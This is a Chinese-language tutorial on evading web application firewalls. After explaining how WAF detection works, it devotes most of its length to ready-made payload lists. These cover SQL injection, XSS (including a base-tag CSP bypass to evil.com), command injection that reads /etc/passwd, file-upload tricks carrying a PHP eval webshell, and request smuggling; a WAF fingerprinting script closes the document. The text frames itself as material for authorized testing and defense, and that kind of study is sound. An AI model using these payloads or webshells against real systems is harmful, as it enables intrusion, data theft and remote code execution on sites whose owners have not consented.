【提示】 本文所有技术内容仅用于授权测试、安全学习和合规防御研究。未经授权对任何系统进行 WAF 绕过测试属于违法行为,作者及平台不承担任何法律责任。请确保在获得书面授权后开展所有测试活动,并严格遵守《网络安全法》《数据安全法》《个人信息保护法》等相关法律法规。本文旨在帮助防御方理解攻击思路,从而构建更坚固的安全体系。在这里插入图片描述

1. 引言:为什么需要研究 WAF 绕过

Web 应用防火墙(Web Application Firewall,WAF)是当前 Web 安全防御体系的核心组件。根据 OWASP 统计,超过 70% 的企业在其 Web 应用前部署了 WAF。然而 WAF 并非银弹:规则更新滞后、协议解析差异、编码变形空间巨大,使得攻击者总有可乘之机。

研究 WAF 绕过的意义在于:

  • 红队视角:在授权渗透测试中评估 WAF 的实际防护能力,发现规则盲区
  • 蓝队视角:理解攻击者的绕过思路,反向加固 WAF 规则与检测引擎
  • 架构视角:认识 WAF 的能力边界,推动纵深防御而非单点依赖

本文将系统拆解 WAF 的检测机制,并给出 SQL 注入、XSS、命令注入、文件上传等场景下的绕过技术,配合自动化脚本与靶场实战,帮助安全工程师建立完整的 WAF 攻防知识体系。

2. WAF 基础原理

2.1 WAF 定义与部署模式

WAF 工作在 HTTP/HTTPS 应用层,通过对请求与响应内容进行深度检测,识别并拦截 SQL 注入、XSS、命令注入、文件上传等 Web 攻击。不同的部署模式决定了 WAF 的检测位置与覆盖范围。

部署模式部署位置透明性性能开销适用场景
反向代理Web 服务器前端,作为反向代理需改 DNS/路由中标准企业 Web 防护
透明代理串联在网络链路,二层透明对应用透明中不便改架构的内网防护
主机 Agent安装在 Web 服务器本机单机部署低单机加固、云主机
云 WAFDNS 解析指向云端清洗改 DNS 即可云端承担中小企业、快速接入
旁路镜像镜像流量异步检测仅告警不阻断不影响业务监控审计、误报评估

2.2 WAF 检测引擎分类

WAF 的核心是其检测引擎,不同引擎决定了绕过难度。

检测引擎原理优势局限绕过难度
正则匹配基于正则表达式匹配特征规则清晰、可定制表达式有限、易绕过中
语义分析解析为 AST/IR 再分析抗变形、低误报性能开销大高
机器学习基于模型识别异常请求可发现未知攻击可被对抗样本欺骗高
行为分析基于请求频率/序列分析检测自动化扫描难精确拦截单次攻击高
信誉评分结合 IP/UA/Geo 评分阻断恶意源需积累数据中

2.3 主流 WAF 产品对比

了解主流产品的检测能力有助于制定针对性绕过策略。

WAF 产品检测引擎规则集部署模式特点
ModSecurity正则 + 插件OWASP CRS反向代理/主机开源、规则透明
Cloudflare正则 + MLManaged Rules云 WAF全球边缘节点、ML 增强
Akamai正则 + 行为Kona Rules云 WAF大流量清洗能力
阿里云 WAF正则 + 语义自研规则集云 WAF国内合规、语义引擎
腾讯云 WAF正则 + AI自研规则集云 WAFAI 引擎、Bot 管理
长亭雷池语义分析为主自研反向代理语义引擎、低误报
安恒明御 WAF正则 + 行为自研反向代理/透明国内合规、等保

2.4 WAF 规则集

规则集来源维护方覆盖范围
OWASP CRS开源社区OWASP/CorerulesetOWASP Top 10 全覆盖
SNX 规则商业各厂商自研厂商定制场景
自定义规则用户编写企业安全团队业务逻辑防护

2.5 WAF vs IPS vs IDS

这三者常被混淆,理解差异有助于判断绕过目标。

维度WAFIPSIDS
工作层应用层(HTTP)网络层~应用层网络层~应用层
检测对象HTTP 请求/响应全流量报文全流量报文
部署方式反向代理/云串联旁路
动作阻断/告警阻断仅告警
规则粒度应用语义特征签名特征签名

【提示】 WAF 关注 HTTP 语义,IPS/IDS 关注网络报文特征。WAF 绕过的核心是利用 HTTP 解析与语义理解的差异。

3. WAF 检测机制分析

3.1 请求解析流程

WAF 处理一个 HTTP 请求的完整流程如下,每个环节都可能成为绕过切入点。

客户端请求
  │
  ▼
[1] HTTP 协议解析   ── 方法、URI、版本、头解析
  │
  ▼
[2] 分块解码        ── 处理 Transfer-Encoding: chunked
  │
  ▼
[3] 内容解压        ── 处理 Content-Encoding: gzip/deflate
  │
  ▼
[4] 参数解析        ── Query String / Body / Cookie 解码
  │                    URL 解码、HTML 解码、Base64 解码
  │
  ▼
[5] 规则匹配        ── 正则 / 语义 / ML 引擎匹配
  │
  ▼
[6] 动作执行        ── 阻断 / 告警 / 记录 / 验证码 / 挑战
  │
  ▼
后端应用

绕过的核心思路:让 WAF 在 [1]~[4] 解析出的内容"无害",而后端应用解析出的内容"有害"。这种解析差异是几乎所有 WAF 绕过的根本原理。

3.2 正则表达式检测原理(OWASP CRS 解析)

以 OWASP CRS 检测 SQL 注入的规则为例:

SecRule ARGS|REQUEST_HEADERS|!REQUEST_HEADERS:Referer \
    "@rx (?i)(?:union\s+(?:all\s+)?select|select\s+.*\s+from|insert\s+into|drop\s+table|update\s+.*\s+set|delete\s+from)" \
    "id:942100,\
    phase:2,\
    t:none,t:urlDecodeUni,t:normalizePathWin,t:lowercase,\
    msg:'SQL Injection Attack Detected',\
    logdata:'Matched Data: %{MATCHED_VAR}',\
    severity:CRITICAL,\
    ctl:auditLogParts=+E"

该规则关键点:

  • (?i) 大小写不敏感,故简单大小写混写无效
  • t:urlDecodeUni 会先做 URL 解码与 Unicode 解码,故单层 URL 编码无效
  • t:lowercase 转小写后匹配
  • 匹配 union select、select...from 等组合特征

【提示】 绕过正则规则的关键:破坏特征词的连续性(注释/换行/等价函数),或使用规则未覆盖的等价语法。

3.3 语义分析与机器学习检测

语义分析引擎会将 SQL 语句解析为抽象语法树(AST),再判断是否符合注入语义。例如将 1' union select 1,2,3 -- 解析后识别为多语句联合查询。机器学习引擎则基于大量正常/恶意请求训练分类模型。

引擎类型检测逻辑绕过思路
语义分析解析为 AST,判断注入语义构造语法合法但语义等价的变形
机器学习特征向量分类拟合正常分布、降低异常分数

3.4 WAF 动作分类

动作行为HTTP 响应特征场景
阻断(Block)拦截请求403/406/自定义页高置信度攻击
告警(Alert)放行并告警200 正常低置信度、灰度
记录(Log)仅记录不干预200 正常审计分析
验证码(CAPTCHA)返回验证挑战302/200自动化扫描防护
挑战(Challenge)JS/cookie 挑战503/JS 跳转Bot 识别
限速(Rate Limit)超限拒绝429暴力破解防护

3.5 完整规则解析示例

下面是一条 ModSecurity 规则的逐字段解析:

SecRule REQUEST_URI|ARGS|REQUEST_HEADERS "@rx (?i)(?:<script|onerror\s*=|javascript:|<img[^>]+src)" \
    "id:941110,\
    phase:2,\
    block,\
    t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhitespace,\
    msg:'NoScript XSS InjectionChecker: Script Tag',\
    tag:'application-multi',tag:'language-html',\
    severity:CRITICAL"
字段值说明
匹配目标REQUEST_URI/ARGS/HEADERS检测 URI、参数、请求头
正则script/onerror/javascript:/img srcXSS 特征
id941110规则唯一标识
phase2请求体阶段匹配
转换urlDecodeUni/htmlEntityDecode先 URL 解码、HTML 实体解码
动作block阻断
严重度CRITICAL严重等级

4. SQL 注入 WAF 绕过

4.1 注释绕过

利用 SQL 注释的多种形式破坏关键字连续性。

注释类型形式示例
内联注释/**/sel/**/ect
嵌套注释/*/**/*/sel/*/**/*/ect
条件注释/*!...*//*!50000select*/
行注释--、#1 -- 、1%23
原payload:union select 1,2,3
注释绕过:union/**/select/**/1,2,3
嵌套绕过:union/*/**/*/select/*/**/*/1,2,3
条件注释:/*!50000union*//*!50000select*/1,2,3

4.2 编码绕过

编码方式编码示例解码后
URL 编码%73electselect
双重 URL%2573elect → %73electselect
Hex 编码0x73656c656374select(字符串)
Char 编码char(115,101,108,101,99,116)select
Unicode%u0073electselect
Base64c2VsZWN0select

4.3 等价函数替换表

MySQL 中存在大量等价函数,可绕过基于关键字的检测。

原函数/关键字等价替换说明
sleep(5)benchmark(50000000,sha1(1))时间盲注延时
sleep(5)get_lock('a',5)基于锁的延时
substr()mid()、substring()截取字符串
ascii()ord()取 ASCII 值
concat()group_concat()、concat_ws()字符串连接
information_schemasys schema、mysql.innodb_table_stats元数据查询
user()@@hostname、current_user()、system_user()当前用户
database()schema()当前数据库
version()@@version、@@global.version版本信息
=like、rlike、in、between、regexp比较运算
and&&、&逻辑与
or||逻辑或
unionunion distinct、union all联合查询

4.4 空格绕过

绕过字符说明示例
/**/内联注释union/**/select
%0a换行union%0aselect
%09Tabunion%09select
%0b垂直 Tabunion%0bselect
%0c换页union%0cselect
%a0不间断空格union%a0select
+URL 空格union+select
()括号union(select(1))
反引号系统函数unionselect``

4.5 关键字绕过

技术形式示例
大小写混写改变大小写sELect、UnIoN
双写重复关键字selselectect(过滤 select 后剩余 select)
嵌套内联注释包裹un/**/ion、se/**/lect
having 替换无 union 报错1' having 1=1--
|| 替换逻辑或注入1'||1

4.6 HPP(HTTP 参数污染)

利用后端对重复参数处理差异绕过。

WAF 看到:id=1&id=union select 1,2,3
后端取值:id=1 union select 1,2,3  (ASP.NET 取拼接,PHP 取最后一个)
后端语言重复参数取值利用方式
ASP.NET逗号拼接id=1/*&id=*/union select
PHP取最后一个id=1&id=union select
Java取第一个id=union/*&id=*/select
Python取第一个同 Java

4.7 分块传输绕过

利用 Transfer-Encoding: chunked 让 WAF 不组装完整请求。

POST /inject.php HTTP/1.1
Transfer-Encoding: chunked

3
unio
3
n s
3
ele
2
ct
0

4.8 SQL 注入 WAF 绕过 Payload 集

# 注释绕过
union/**/select/**/1,2,3
union/*/**/*/select/*/**/*/1,2,3
/*!50000union*//*!50000select*/1,2,3
union%0aselect%0a1,2,3
union%09select%091,2,3
union%0bselect%0b1,2,3
union%0cselect%0c1,2,3
union%a0select%a01,2,3
union(select(1),(2),(3))
un/**/ion/**/sel/**/ect/**/1,2,3

# 编码绕过
0x73656c656374 (hex select)
char(115,101,108,101,99,116) (char select)
%75nion %73elect 1,2,3
UNIunionON SELselectECT 1,2,3 (双写)
%u0075nion %u0073elect 1,2,3 (unicode)

# 等价函数
and (select 1 from(select benchmark(50000000,sha1(1))a)=1)
and (select 1 from(select sleep(5))a)=1) -- benchmark/sleep等价
select mid(user(),1,1) -- substr等价
select ord(mid(user(),1,1)) -- ascii等价
select group_concat(table_name) from sys.schema_table_statistics
select table_name from mysql.innodb_table_stats where database_name=database()

# 空格绕过
union(select(1),(2),(3))
union`select`1,`2`,`3`
select(group_concat(table_name))from(information_schema.tables)
1'unun//ionion sel//ect 1,2,3-- -
1'union%a0select%a01,2,3%23

# 关键字绕过
1' having 1=1-- -
1'||'1'='1
1'&&'1'='1
1' un/**/ion a/**/ll sel/**/ect 1,2,3-- -
1'uni%0aon se%0alect 1,2,3%23

# 报错注入绕过
1' and extractvalue(1,concat(0x7e,(select user())))-- -
1' and updatexml(1,concat(0x7e,(select user())),1)-- -
1' and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
1' and exp(~(select * from(select user())a))-- -
1' and (select * from(select bind_address from mysql.user)a)-- -

# 布尔盲注绕过
1'&&mid(user(),1,1)='r'-- -
1'&&ord(mid(user(),1,1))=114-- -
1'&&substr((select user()),1,1)like'r'-- -
1'&&left(user(),1)like'r'-- -

# 时间盲注绕过
1'&&if(1=1,sleep(5),0)-- -
1'&&if(mid(user(),1,1)='r',benchmark(50000000,sha1(1)),0)-- -
1'&&case when(mid(user(),1,1)='r')then sleep(5)else 0 end-- -
1'&&(select*from(select sleep(5))a)-- -

# HPP
?id=1/**/&id=union/*&id=*/select/*&id=*/1,2,3
?id=1&id=union select 1,2,3 (php取最后)

【提示】 实战中应先用等价函数测试哪些被过滤,再组合多种技术。从最简单的注释绕过开始,逐步升级到编码+等价函数组合。

5. XSS WAF 绕过

5.1 标签绕过

当 script 标签被过滤,可使用大量支持事件或可执行 JS 的标签。

原标签替代标签触发方式
<script><img src=x onerror=...>图片加载错误
<script><svg onload=...>SVG 加载
<script><body onload=...>body 加载
<script><iframe src=javascript:...>iframe
<script><video src=x onerror=...>视频错误
<script><audio src=x onerror=...>音频错误
<script><details open ontoggle=...>details 切换
<script><marquee onstart=...>marquee 开始
<script><textarea onfocus=... autofocus>textarea 聚焦
<script><svg><animate onbegin=...>SVG 动画开始

5.2 事件绕过

原事件替代事件
onerroronload、onclick、onmouseover
onerrorontoggle(details)
onerroronfocus(input/textarea)
onerroronanimationstart(CSS 动画)
onerroronpointerenter、ontouchstart

5.3 编码绕过

编码方式编码示例解码后
HTML 实体&lt;script&gt;<script>
十进制&#60;script&#62;<script>
十六进制&#x3c;script&#x3e;<script>
Unicode\u003cscript\u003e<script>
JSFuck[][(![]+[])...任意 JS
<img src=x onerror=alert(1)>
<img src=x onerror=&#97;lert(1)>              # HTML实体
<img src=x onerror=&#x61;lert(1)>              # 十六进制实体
<svg/onload=alert(1)>
<svg/onload=aler\u0074(1)>                      # Unicode
<img src=x onerror=eval(atob('YWxlcnQoMSk='))> # Base64
<img src=x onerror=eval(name)>                  # name属性

5.4 过滤绕过

技术形式示例
双写重复关键字scrscriptipt(过滤后剩 script)
大小写混写改变大小写ScRiPt
空格插入标签内插空格<script x>alert(1)</script>
斜杠插入标签内插斜杠<script/x>alert(1)</script>
注释插入内联注释<scri<!-- -->pt>alert(1)</script>
编码插入实体编码&lt;script&gt;

5.5 CSP 绕过

当目标部署了内容安全策略(CSP),需利用 CSP 允许的源。

CSP 绕过技术原理示例
CDN 利用利用白名单 CDNjquery CDN 加载恶意 JS
JSONP利用白名单 JSONP 接口?callback=alert(1)//
Angular 模板注入利用白名单 angular{{constructor.constructor('alert(1)')()}}
base 标签改变相对路径源<base href=//evil.com>
name 属性window.name 跨域传值window.name 注入
CDN 覆盖覆盖 CDN 上的库prototype 污染

5.6 XSS WAF 绕过 Payload 集

# 标签绕过
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<svg><animate onbegin=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<video><source onerror=alert(1)>
<a href=javascript:alert(1)>x</a>
<form><button formaction=javascript:alert(1)>x</button></form>
<isindex action=javascript:alert(1) type=submit>
<img src=x:alert(alt) onerror=eval(src) alt=Xss>
<svg><script>alert(1)</script></svg>

# 事件绕过
<img src=x onerror=alert(1)>
<img src=x onload=alert(1)>
<img src=x onclick=alert(1)>
<img src=x onmouseover=alert(1)>
<details open ontoggle=alert(1)>
<input onfocus=alert(1) autofocus>
<svg><animateMotion onbegin=alert(1)>
<style>@keyframes x{from{opacity:0}to{opacity:1}}div{x:1}</style>
<div style=animation:x onanimationstart=alert(1)>

# 编码绕过
<img src=x onerror=alert(1)>
<img src=x onerror=&#97;lert(1)>
<img src=x onerror=&#x61;lert(1)>
<img src=x onerror=eval(name)>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<img src=x onerror=eval('\u0061lert(1)')>
<svg/onload=eval(atob('YWxlcnQoMSk='))>
<a href="javascript:alert(1)">x</a>
<a href="java&Tab;script:alert(1)">x</a>
<a href="jav&#x09;ascript:alert(1)">x</a>

# 过滤绕过
<scrscriptipt>alert(1)</scrscriptipt>
<ScRiPt>alert(1)</ScRiPt>
<script x>alert(1)</script>
<script/x>alert(1)</script>
<script/*>alert(1)</script>
<scri<!-- -->pt>alert(1)</scri<!-- -->pt>
<img/src=x/onerror=alert(1)>
<img src=x:onerror=alert(1)>

# CSP绕过
<script src=//cdn.jquery.com/jquery.js></script> (CDN)
<script src=//allowed.com/jsonp?callback=alert(1)//></script> (JSONP)
<div ng-app>{{constructor.constructor('alert(1)')()}}</div> (Angular)
<base href=//evil.com> (base)
<img src=x onerror=eval(name)> window.name=alert(1)

6. 命令注入 WAF 绕过

6.1 命令分隔符绕过

分隔符说明示例
;顺序执行id;whoami
|管道id|whoami
||逻辑或id||whoami
&&逻辑与id&&whoami
&后台执行id&whoami
%0a换行id%0awhoami
%0d回车id%0dwhoami
%0a%0dCRLFid%0a%0dwhoami

6.2 命令替换表

原命令替换命令说明
cattac、more、less、head、tail读文件
catstrings、xxd、od -c二进制方式读
lsdir、find、echo *列目录
idwhoami、who am i身份
whoamiid身份
ifconfigip addr网络配置
uname -acat /proc/version系统信息

6.3 编码绕过

# Hex编码
echo -ne "\x63\x61\x74" | sh        # cat

# Octal编码
echo -ne "\143\141\164" | sh        # cat

# Base64编码
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh    # cat /etc/passwd

# $()执行
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)     # cat /etc/passwd

6.4 通配符绕过

利用 shell 通配符匹配绕过关键字检测。

# 通配符
/???/??t /???/??ss??       # /bin/cat /etc/passwd
/???/??? /????/??ss??      # /bin/cat /etc/passwd
/???/??t /???/??ssw?       # /bin/cat /etc/passwd
/b??/c?t /e??/p??swd      # /bin/cat /etc/passwd

6.5 变量绕过

变量含义示例
$IFS内部字段分隔符(空格/Tab/换行)cat$IFS/etc/passwd
${IFS}同上cat${IFS}/etc/passwd
$9第9个位置参数(空)cat$9/etc/passwd
$@空cat$@/etc/passwd

6.6 反引号与 $() 绕过

# 反引号
`cat /etc/passwd`
w`h`o`a`m`i                  # whoami(拼接)

# $()命令替换
$(cat /etc/passwd)
$(w`h`oami)                 # whoami

# 变量拼接
a=ca;b=t;$a$b /etc/passwd  # cat /etc/passwd
a=c;b=at;$a$b /etc/passwd

6.7 命令注入 WAF 绕过 Payload 集

# 分隔符
;id
|id
||id
&&id
&id
%0aid
%0did
%0a%0did
%0a%0did

# 命令替换
;whoami
|tac /etc/passwd
|more /etc/passwd
|less /etc/passwd
|head /etc/passwd
|tail /etc/passwd
|strings /etc/passwd
|xxd /etc/passwd
|od -c /etc/passwd
|dir
|find / -name *.txt

# 编码
;echo -ne "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | sh
;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
;$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)
;`echo Y2F0IC9ldGMvcGFzc3dk | base64 -d`

# 通配符
;/???/??t /???/??ss??
;/???/??t /????/??ss??
;/???/??t /???/??ssw?
;/b??/c?t /e??/p??swd
;/???/??? /????/??ss??

# 变量
;cat$IFS/etc/passwd
;cat${IFS}/etc/passwd
;cat$9/etc/passwd
;cat$@/etc/passwd
;cat$IFS$9/etc/passwd

# 拼接
;a=ca;b=t;$a$b /etc/passwd
;a=c;b=at;$a$b /etc/passwd
;w`h`o`a`m`i
;`w`h`o`a`m`i`
;$(w`h`oami)

# 反引号与$()
;`cat /etc/passwd`
;$(cat /etc/passwd)
;`w`h`o`a`m`i`
;$(whoami)

7. 文件上传 WAF 绕过

7.1 Content-Disposition 绕过

技术形式示例
filename 变换改写为 filename=filename="shell.php"
多 filename多个 filename 头不同服务器取值不同
编码 filenameURL/Base64filename=%73hell.php
双引号双引号filename="shell.php"
单引号单引号filename='shell.php'
无引号无引号filename=shell.php
# filename变换
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Disposition: form-data; name="file"; filename=shell.php
Content-Disposition: form-data; name="file"; filename='shell.php'
Content-Disposition: form-data; name="file"; filename="shell.php";

# 多filename
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Disposition: form-data; name="file"; filename="shell.php"

# 编码filename
Content-Disposition: form-data; name="file"; filename="shell%2Ephp"
Content-Disposition: form-data; name="file"; filename*=utf-8''shell.php

7.2 Content-Type 绕过

Content-Type: application/octet-stream        # 通用二进制
Content-Type: image/jpeg                       # 伪装图片
Content-Type: image/png
Content-Type: image/gif
Content-Type: text/plain                       # 伪装文本
Content-Type: application/x-php                # php类型

7.3 boundary 绕过

# 变换boundary大小写
Content-Type: multipart/form-data; boundary=----Boundary
Content-Type: multipart/form-data; BOUNDARY=----Boundary

# 重复boundary头
Content-Type: multipart/form-data; boundary=----A
Content-Type: multipart/form-data; boundary=----B

# boundary前缀垃圾数据
------Boundary
垃圾数据填充
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"

7.4 数据混淆绕过

# 大量垃圾数据(超出WAF检测长度限制)
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

AAAA...(10MB垃圾数据)...
<?php @eval($_POST['cmd']);?>

# 分块传输
Transfer-Encoding: chunked

# 多部分嵌套
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: multipart/form-data; boundary=--Inner

----Inner
Content-Disposition: form-data; name="file"; filename="shell.php"

<?php @eval($_POST['cmd']);?>
----Inner--
------Boundary--

7.5 文件名绕过

技术示例说明
空格shell .php末尾空格
点shell.php.末尾点
特殊字符shell.p*hp通配
双扩展名shell.php.jpgApache 解析
大小写shell.PHP、shell.PhP大小写
空字节shell.php%00.jpg截断
空格点shell.php .Windows

7.6 文件上传 WAF 绕过 Payload 集

# Content-Disposition变换
Content-Disposition: form-data; name="file"; filename=shell.php
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Disposition: form-data; name="file"; filename='shell.php'
Content-Disposition: form-data; name="file"; filename="shell.php";
Content-Disposition: form-data; name="file"; filename=shell%2ephp
Content-Disposition: form-data; name="file"; filename*=utf-8''shell.php
Content-Disposition: form-data; name="file"; xfilename="shell.php"

# 多filename
Content-Disposition: form-data; name="file"; filename="shell.jpg"
Content-Disposition: form-data; name="file"; filename="shell.php"

# Content-Type变换
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
Content-Type: application/octet-stream
Content-Type: text/plain
Content-Type: application/x-php

# 文件名绕过
filename="shell.PHP"
filename="shell.PhP"
filename="shell.php "
filename="shell.php."
filename="shell.php.jpg"
filename="shell.php%00.jpg"
filename="shell.p.hp"
filename="shell.php::$DATA"      # Windows NTFS流

# boundary绕过
Content-Type: multipart/form-data; BOUNDARY=----Boundary
Content-Type: multipart/form-data; boundary=----Boundary; boundary=----B
Content-Type: multipart/form-data; boundary=----Boundary

# 数据混淆
Content-Disposition: form-data; name="file"; filename="shell.php"
(大量垃圾数据填充10KB+)
Content-Type: application/octet-stream

<?php @eval($_POST['cmd']);?>

# 分块传输
Transfer-Encoding: chunked
4
POST
0

# 图片马绕过(绕过内容检测)
GIF89a
<?php @eval($_POST['cmd']);?>
保存为 shell.gif,配合 Apache 解析漏洞

# .htaccess绕过
AddType application/x-httpd-php .gif
配合上传 .gif 内含 php 代码

# .user.ini绕过
auto_prepend_file=shell.jpg
配合上传 shell.jpg 内含 php 代码

8. 通用 WAF 绕过技术

8.1 HTTP 方法绕过

某些 WAF 仅检测 GET/POST,切换方法可绕过。

原方法替换方法说明
GETPOST切换为 POST
POSTPUTPUT 方法
POSTDELETEDELETE 方法
POSTPATCHPATCH 方法
POSTCUSTOM自定义方法

8.2 协议绕过

协议说明绕过原理
HTTP/0.9无头简单响应WAF 可能不解析
HTTP/2二进制分帧WAF 可能不解析帧
HTTP/3QUIC/UDPWAF 可能不支持
WebSocket全双工WAF 可能不检测

8.3 请求走私绕过

利用前后端对 Content-Length(CL)与 Transfer-Encoding(TE)解析差异。

类型原理利用方式
CL.TE前端用 CL,后端用 TETE 分块,CL 截断
TE.CL前端用 TE,后端用 CLCL 截断,TE 分块
TE.TE双方都 TE 但有歧义变形 TE 头
# CL.TE请求走私
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

8.4 分块传输绕过

# 标准chunked
Transfer-Encoding: chunked

5
hello
0

# 变形chunked(绕过WAF识别)
Transfer-Encoding: chunked
Transfer-Encoding: x

5
hello
0

# 末尾chunk省略
Transfer-Encoding: chunked

5
hello
(无0结尾,部分服务器接受)

# chunked+非标准
Transfer-Encoding: chunked, identity

8.5 其他通用绕过

技术原理示例
Pipeline管道多个请求一次发送多个请求
Content-Length 差异CL 与实际不符误导 WAF 截断
Host 头绕过改 Host 头直连源站
X-Forwarded-For改 XFF 头伪装可信 IP
# Host头绕过(绕过云WAF直连源站)
Host: origin.example.com
# 通过真实IP直连,绕过云WAF

# X-Forwarded-For绕过(伪装可信IP)
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 10.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

# Pipeline绕过
Connection: keep-alive
(一次TCP连接发送多个请求,部分WAF只检测第一个)

# Content-Length差异
Content-Length: 0
(实际发送长body,误导WAF认为空请求)

9. 编码与混淆技术

9.1 编码方式对比表

编码方式编码示例WAF 解码层后端解码绕过要点
URL 编码%73electurlDecodeUni浏览器/应用单层易被解码
双重 URL%2573elect仅一层多层解码利用解码次数差
Unicode%u0073electunicode 解码部分应用IIS 宽字节
HTML 实体&#x73;electhtmlEntityDecode浏览器XSS 场景
Base64c2VsZWN0一般不解码应用层配合 eval
Hex0x73不解码SQL 层SQL 注入
Octal\163不解码SQL/C命令注入
UTF-7+ADw-script+AD4-不解码IE旧 IE XSS
JSFuck[][(![]+[])...不解码JS 引擎XSS

9.2 多层编码链

组合多种编码,使 WAF 解码层数不足。

原始:union select
URL编码:union%20select
双重URL:union%2520select
Unicode+URL:%u0075nion%20select
Hex+URL:0x75nion%20select

# 链式解码
原始:alert(1)
Base64:YWxlcnQoMSk=
URL编码Base64:YWxlcnQoMSk%3D
eval(atob('YWxlcnQoMSk%3D'))

9.3 Unicode 规范化利用

利用 Unicode 规范化(NFKC)将全角字符转为半角,或利用同形字符。

SELECT  (全角,NFKC后变 SELECT)
ℰ (特殊Unicode,部分解析器接受)

9.4 字符集混淆

技术原理示例
charset 变换改变字符集Content-Type: text/html; charset=ibm037
Accept-Charset改变接受字符集不同编码下 WAF 解析差异
编码检测差异WAF 与应用解码不同宽字节注入 %bf%27

9.5 编码绕过完整方案

# SQL注入多层编码
原始:union select 1,2,3
方案1:union/**/select/**/1,2,3 (注释)
方案2:un%69on%20sel%65ct (混合URL+注释)
方案3:0x75nion select (hex)
方案4:%u0075nion%20select (unicode)

# XSS多层编码
原始:<script>alert(1)</script>
方案1:<img src=x onerror=alert(1)> (标签替换)
方案2:<svg onload=eval(name)> (事件+name)
方案3:<img src=x onerror=eval(atob('YWxlcnQoMSk='))> (Base64)
方案4:<svg/onload=eval('\u0061lert(1)')> (Unicode)

# 命令注入多层编码
原始:cat /etc/passwd
方案1:cat$IFS/etc/passwd (变量)
方案2:/???/??t /???/??ss?? (通配符)
方案3:echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|sh (Base64)
方案4:a=ca;b=t;$a$b$IFS/etc/passwd (拼接)

10. WAF 指纹识别

10.1 指纹识别方法表

识别方法原理常见特征
响应头Server/X-Powered-By 头Server: cloudflare
Cookie特定 Cookie 名__cfduid
状态码拦截状态码403/406/999/429
响应内容拦截页特征“security rules”
行为差异挑战行为JS 挑战、验证码

10.2 wafw00f 使用

wafw00f 是最常用的 WAF 识别工具。

# 安装
pip install wafw00f

# 基本使用
wafw00f https://example.com

# 详细模式
wafw00f -v https://example.com

# 列出支持检测的WAF
wafw00f -l

# 输出示例
# [✓] Cloudflare detected

10.3 手动指纹识别技巧

# 发送恶意payload观察拦截
curl -s -o /dev/null -w "%{http_code}" https://example.com/?id=1+union+select

# 观察响应头
curl -sI https://example.com

# 观察拦截页面
curl -s https://example.com/?id=1' or 1=1--

10.4 各 WAF 指纹特征表

WAF响应头/Cookie状态码拦截页特征
CloudflareServer: cloudflare、__cfduid403/503“Attention Required”
ModSecurityServer: Apache、X-Mod-Security403/406“Mod_Security”
阿里云 WAFServer: Tengine、x-sg405拦截页
长亭雷池Server: SafeLine403“雷池”
AkamaiServer: AkamaiGHost403“Reference”
F5Server: BigIP403“The requested URL”

10.5 WAF 指纹识别脚本

#!/usr/bin/env python3
import requests
import sys

WAF_SIGNATURES = {
    "Cloudflare": {
        "headers": ["server: cloudflare", "cf-ray"],
        "cookies": ["__cfduid", "__cf_bm"],
        "body": ["attention required", "cf-browser-verification"],
        "status": [403, 503]
    },
    "ModSecurity": {
        "headers": ["mod_security", "modsecurity"],
        "body": ["mod_security", "ModSecurity"],
        "status": [403, 406]
    },
    "Akamai": {
        "headers": ["server: akamaighost", "akamai"],
        "body": ["reference", "akamai"],
        "status": [403]
    },
    "Aliyun WAF": {
        "headers": ["server: tengine", "x-sg"],
        "body": ["error", "blocked"],
        "status": [405, 403]
    },
    "SafeLine (长亭)": {
        "headers": ["server: safeline"],
        "body": ["雷池", "safeline"],
        "status": [403]
    }
}

def identify_waf(url):
    payloads = [
        "?id=1' union select 1,2,3-- -",
        "?q=<script>alert(1)</script>",
        "?cmd=;cat /etc/passwd"
    ]
    detected = set()
    
    for payload in payloads:
        try:
            target = url.rstrip('/') + '/' + payload.lstrip('/')
            r = requests.get(target, timeout=10, allow_redirects=False)
            headers_lower = {k.lower(): v.lower() for k, v in r.headers.items()}
            cookies_lower = [c.lower() for c in r.cookies.keys()]
            body = r.text.lower()
            
            for waf, sig in WAF_SIGNATURES.items():
                if waf in detected:
                    continue
                match = False
                for h in sig["headers"]:
                    if any(h in hk or h in hv for hk, hv in headers_lower.items()):
                        match = True
                for c in sig["cookies"]:
                    if any(c in ck for ck in cookies_lower):
                        match = True
                for b in sig["body"]:
                    if b in body:
                        match = True
                if r.status_code in sig["status"]:
                    match = True
                if match:
                    detected.add(waf)
        except Exception:
            continue
    
    return detected if detected else {"Unknown"}

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else "http://example.com"
    result = identify_waf(url)
    print(f"[*] 目标: {url}")
    print(f"[*] 识别WAF: {', '.join(result)}")

11. 自动化 WAF 绕过工具

11.1 工具对比表

工具类型绕过场景特点
SQLMap tamperSQL 注入SQL 注入丰富 tamper 脚本
XSStrikeXSSXSS模糊测试 payload
waf-bypass通用通用批量测试
bypass-firewall通用通用通用绕过
autobypass通用通用自动变形

